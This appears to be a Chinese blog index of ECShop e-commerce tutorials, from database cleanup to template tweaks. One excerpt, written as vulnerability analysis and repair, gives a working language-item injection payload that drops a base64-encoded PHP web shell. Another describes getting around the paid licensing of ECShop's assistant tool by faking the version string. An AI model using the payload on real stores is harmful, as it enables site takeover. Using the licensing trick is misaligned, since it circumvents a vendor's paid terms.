作者文章

fwq

FWQ
网站开发
快速清除ecshop管理员日志优化数据库
我们经常在ecshop后台编辑文章,上架商品,还有添加商品评论等等,结果导致在ecshop管理中心的管理员日志,已经有N条信息了。而且我们数据库空间都有限的,那么怎么清除这些没有太大作用的数据呢? 登录ECSHOP后台点击左栏“数据库管理”》》“SQL查询” ,在右边输入框中输入 TRUNCATE `ecs_admin_log`; 注意:如果你的数据表前缀 不是 ecs_ 请自行修改 执行完毕后,系统自动删除管理员日志。如下图: 这样就可以把管理员日志清除,您现在就可以查一下,管理日志(权限管理——管理日志)是不是已经清空了,为了更加提高网站的运行效率、提高mysql数据库查询速度,建议把mysql数据库再优化一下,在ecshop后台,找到“数据库管理”——数据表优化,点击右边的“开始进行数据表优化”,就可以将程序产生的碎片全部清除了。同时,你的mysql数据库容量也会变得更精炼,工作也就更有效率。
2025-04-24 阅读全文 →
FWQ
网站开发
在Centso服务器上安装ECShop详细方法
1.安装基本的环境:PHP,Mysql5.0+等   2.下载ECShop包,解压,将Upload目录下的文件放到/etc/ECShopV2_7目录下   注意:注意修改ECShop的所有着为Apache,(apaceh为拥有者,因为着有最高权限去访问项目资源),</span>   sudo chown -R apache:apache /etc/ECShopV2_7    查看项目拥有者:   cd  /etc   ll -l ECShopV2_7     当然还有另外一种不好的办法-将/etc/ECshopV2_7目录权限改为777,这种做法不安全,     3.配置ECShop.conf文件,放到/etc/httpd/conf.d/目录下   #…
2025-04-24 阅读全文 →
FWQ
网站开发
ECSHOP语言项库注入漏洞分析和修复
1.ECSHOP语言库注入漏洞利用 1) 登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2) 添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为: <?php assert( $_POST[x] ); ?> 3) 访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php 2.产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。   for ($i = 0; $i <…
2025-04-24 阅读全文 →
FWQ
网站开发
修改ECSHOP系统红包序列号规律
ECSHOP系统线下发放红包时系统生成的红包序列号是在10000的基础上增加四位随机数字。如果当我们要发放大额度红包的时候,这样的序列号规则难免给人不安全的感觉,万一真的有哪个无聊的人,用一天时间来蒙几个红包序列号出来,那就亏大了。因为最多只要试10000次就可以了,所以我们需要更改一下系统的红包序列号发放规则,让红包的序列号是由a-z,A-Z,0-9的字符组合而成,下面给出修改方法:   1、修改ecs_user_bonus表中bonus_sn字段的数据类型 ECSHOP 2.7.2中该字段类型为bigint,我们需要修改为varchar。 ALTER TABLE  `ecs_user_bonus` CHANGE  `bonus_sn`  `bonus_sn` VARCHAR( 32 ) NOT NULL DEFAULT  ’0′   2、修改js/user.js文件中对红包序列号验证的部分   在文件的672行左右,找到 var reg = /^[0-9]{10}$/; 修改为: var…
2025-04-24 阅读全文 →
FWQ
网站开发
免费使用ecshop助理支持2.7.2的方法
ecshop助理从2.7.2后一直收费,好模板提供出相关免费试用办法、 原理也是ecshop助理的小BUG.默认授权判断读的是版本信息,直接找到includes/cls_ecshop.php 把 define(‘VERSION’, ‘v2.7.2’);  里的v2.7.2改成2.7.1 或者更低 下载地址: 测试通过。 这里只说明使用方法,建议大家还是买收费的授权使用,为了数据的安全,请支持收费的正版!特别提示: 转载文章,请留好模板网址链接! 2012-03-07 更新,有朋友留言问到,能否传个提供下助理下载地址,因官方总是下载不到。这里好模板提供给大家  好模板按照此方法测试,助理使用正常,网店未配置好会出现自动关闭退出问题!  
2025-04-24 阅读全文 →
FWQ
网站开发
解决ecshop提示不支持jpeg类型图片的方法
做了一个简单的jpeg验证码,想要应用在 ecshop 程序里面,结果发现 ecshop 并不支持 jpeg,我也是晕了,第一时间赶紧查看 php.ini 里面是否开启了 gd2 库,经过夏日博客的查看,gd2 已完全开启,但 ecshop 程序就是不支持,看来不是 php 环境的问题,应该是 ecshop 程序的问题了。 解决方法也很简单,找到对图片格式验证的程序看一下就可以了,打开 install/includes/lib_installer.php 文件,找到如下代码:   $gd_info = gd_info();   $jpeg_enabled = ($gd_info[‘JPG Support’] === true) ? $_LANG[‘support’] :$_LANG[‘not_support’];   $gif_enabled = ($gd_info[‘GIF Create Support’] === true) ? $_LANG[‘support’] :$_LANG[‘not_support’];   $png_enabled = ($gd_info[‘PNG Support’] === true) ? $_LANG[‘support’] :$_LANG[‘not_support’];   可用看到是对$gd_info值检验来看是否支持某个图片类型的,打印这个数组,可用看到其是支持JPEG的,$gd_info[‘JPEG Support’]是存在的,$gd_info[‘JPG Support’]不存在。所以将$gd_info[‘JPG…
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop搬家迁移换空间教程二用帝国备份王搬家
近来不少朋友提问,如果换空间后如何进行网站迁移(搬家)?下面以使用mysql数据库的程序(如ecshop、shopex等)搬家到24小时数据中心( )提供的空间为例做一个简要说明,假设原来网站网址为 。 步骤: 1、将帝国备份王(ebak,见本贴附件)上传至原网站空间,登陆后备份mysql数据库; 2、登陆原空间管理面板,使用“在线压缩”功能将整个网站的web文件压缩打包为bak.rar,保存在ftp根目录下,比如wwwroot/bak.rar 。如果原空间没有此功能,可以联系原空间商,请空间商在服务器上帮你打包好; 3、登陆新空间的管理面板,点“程序预装”,打开后选“自定义路径安装”,正确输入原网站压缩包的下载网址,如 ,并选择好新空间的安装路径,如果安装在ftp根目录下则为默认的/wwwroot/即可,然后点“安装”。等待数分钟,系统会自动把备份好的压缩包下载到新空间并完成解压缩操作; 4、访问新空间里的帝国备份王ebak,登陆后把刚才备份好的数据库文件恢复到新空间的数据库里; 5、编辑修改网站的数据库连接文件中的数据库连接信息,修改为新数据库的设置。例如:ecshop网站的话,修改/data/config.php。 通过以上5个步骤就可以完整地完成一次网站迁移(搬家)了。简单吧,呵呵! 关于帝国备份王的使用方法可以去帝国论坛查看,很简单,这个方法可以很好的解决原来数据库版本和新数据库版本不一致的问题。我们用此方法给客户迁移网站没有一个失败的,很好用,不明白的可以跟贴咨询。
2025-04-24 阅读全文 →
FWQ
网站开发
在ECSHOP商品详细页显示折扣率或节省钱数
在商品详情页面增加一个“本店价”相对于“市场价”的折扣比率或者是节省的钱数,岂不是一个很酷的效果, 而且让用户看着更明白,对购买者更有吸引力。 下面这篇教程就是讲解这个的: (注:本教程以ECSHOP2.7.2版为准) 打开 includes\lib_goods.php 文件, 找到 $row[‘market_price’]        = price_format($row[‘market_price’]); 在它上面添加:   $row[‘sheng_price’] = $row[‘market_price’]-$row[‘shop_price’]; $row[‘zhekou_price’] = round(($row[‘shop_price’]/$row[‘market_price’])*100);      如果你的是UTF8编码的,最好是在EDITPLUS中编辑,不要直接在记事本中编辑。 好了,接下来还需要修改下商品详情页模板,下面以官方默认模板为例。 打开 goods.dwt 文件,找到{$goods.shop_price_formated},在它后面添加:   折扣:{$goods.zhekou_price} 折 <br />…
2025-04-24 阅读全文 →
FWQ
网站开发
css限制Ecshop商品名称太长方法
从网上下载ecshop免费模板某些地方还是有些问题,比如公司的商品名字都很长,比如以下截图,这里显示就会自动换行了。 明显是撑破了整个页面,用CSS轻松解决。 style="width:208px;overflow:hidden;text-overflow:ellipsis;display:block;" 在对应的元素上加上以上代码即可搞定
2025-04-24 阅读全文 →